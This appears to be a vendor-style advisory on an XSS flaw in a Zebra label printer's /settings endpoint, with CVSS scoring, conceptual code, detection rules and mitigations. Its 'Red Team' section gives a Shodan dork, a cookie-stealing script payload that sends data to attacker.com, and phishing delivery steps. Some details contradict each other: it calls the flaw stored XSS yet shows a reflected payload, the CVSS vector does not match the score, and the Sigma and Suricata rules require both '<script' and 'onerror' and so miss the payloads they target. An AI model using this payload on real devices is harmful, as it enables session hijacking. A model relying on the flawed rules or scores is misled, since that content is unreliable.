CVE-2024-3125

Executive Summary

CVE-2024-3125 is a stored cross-site scripting (XSS) vulnerability in the Zebra ZTC GK420d printer firmware version 1.0. The flaw exists in the /settings endpoint of the Alert Setup Page, where the Address parameter is not properly sanitized. An attacker can inject arbitrary JavaScript, which executes in the context of an administrator’s browser when the alert configuration is viewed. The CVSS score is 2.4 (Low) due to the requirement for user interaction and low impact, but the lack of a vendor patch and public exploit disclosure elevates the risk for exposed devices. No supply chain package is involved.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – remotely exploitable.
• Attack Complexity (AC): Low (L) – no special conditions required.
• Privileges Required (PR): None (N) – no authentication needed to trigger the XSS.
• User Interaction (UI): Required (R) – the victim must visit the Alert Setup Page.
• Scope (S): Unchanged (U) – the vulnerability does not cross trust boundaries.
• Confidentiality (C): None (N) – no direct data exposure.
• Integrity (I): Low (L) – limited ability to modify content via script.
• Availability (A): None (N) – no impact on availability.

Threat Level: Low (CVSS 2.4). However, the public exploit and unpatched status warrant immediate attention for any internet-facing Zebra printers.

Deep Dive & Mechanics

The vulnerability resides in the Alert Setup Page of the Zebra ZTC GK420d printer’s web interface. The Address parameter is used to configure email or SNMP alert destinations. The application fails to encode or sanitize user input before rendering it in the HTML response. An attacker can craft a URL like:

http://<printer-ip>/settings?Address=<script>alert('XSS')</script>

When an administrator accesses the Alert Setup Page, the injected script executes in their browser. This can be used to steal session cookies, perform actions on behalf of the admin, or redirect to malicious sites. The attack does not require authentication, but user interaction is needed for the script to execute.

Vulnerable vs. Patched Code

Vulnerable Code (conceptual):

// No sanitization of $_GET['Address']
$address = $_GET['Address'];
echo "<input type='text' name='Address' value='$address'>";

Patched Code (conceptual):

$address = htmlspecialchars($_GET['Address'], ENT_QUOTES, 'UTF-8');
echo "<input type='text' name='Address' value='$address'>";

No official patch is available from Zebra. The vendor did not respond to disclosure.

Exploitation & Lab Setup

Red Team

1. Identify target: Use Shodan dork http.title:"Zebra" to find exposed printers.
2. Craft payload:

   http://<target>/settings?Address=<script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script>
   

3. Deliver: Send the link to an administrator via email or social engineering.
4. Capture: Set up a listener on attacker.com to receive exfiltrated cookies.

Blue Team

• Monitor web logs for unusual Address parameter values containing <script> or onerror tags.
• Block outbound connections from printers to unknown external hosts.
• Restrict access to the printer’s web interface to trusted IPs only.

Indicators of Compromise (IOCs)

• Network: HTTP requests to /settings with Address parameter containing <script> or onerror patterns.
• Logs: Printer access logs showing GET /settings?Address=<script>... entries.
• File: No file-based IOCs; the attack is in-memory via browser.

Detection Engineering

YARA Rule

rule CVE_2024_3125_XSS_Address {
    meta:
        description = "Detects XSS attempts against Zebra ZTC GK420d /settings endpoint"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-3125"
    strings:
        $xss1 = "/settings?Address=" nocase
        $xss2 = "<script" nocase
        $xss3 = "onerror=" nocase
    condition:
        $xss1 and ($xss2 or $xss3)
}

Sigma Rule

title: CVE-2024-3125 XSS Attempt on Zebra Printer
id: 8a9b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP requests to /settings with XSS payloads in Address parameter
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: '/settings?Address='
        cs-uri-query|contains|all:
            - '<script'
            - 'onerror'
    condition: selection
falsepositives:
    - Legitimate use of script tags in testing environments
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-3125 XSS Attempt on Zebra Printer"; flow:to_server,established; content:"/settings?Address="; http_uri; content:"<script"; http_uri; content:"onerror"; http_uri; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

• Immediate: Disable remote access to the printer’s web interface. Use a firewall to restrict access to trusted IPs only.
• Short-term: If possible, upgrade to a newer firmware version if Zebra releases a patch. Monitor vendor advisories.
• Long-term: Replace the device with a model that receives security updates. Implement network segmentation for all IoT/OT devices.
• Compensating controls: Deploy a WAF with rules to block XSS payloads in the Address parameter.

Valters IT
DevSecOps & Cyber Threat Intelligence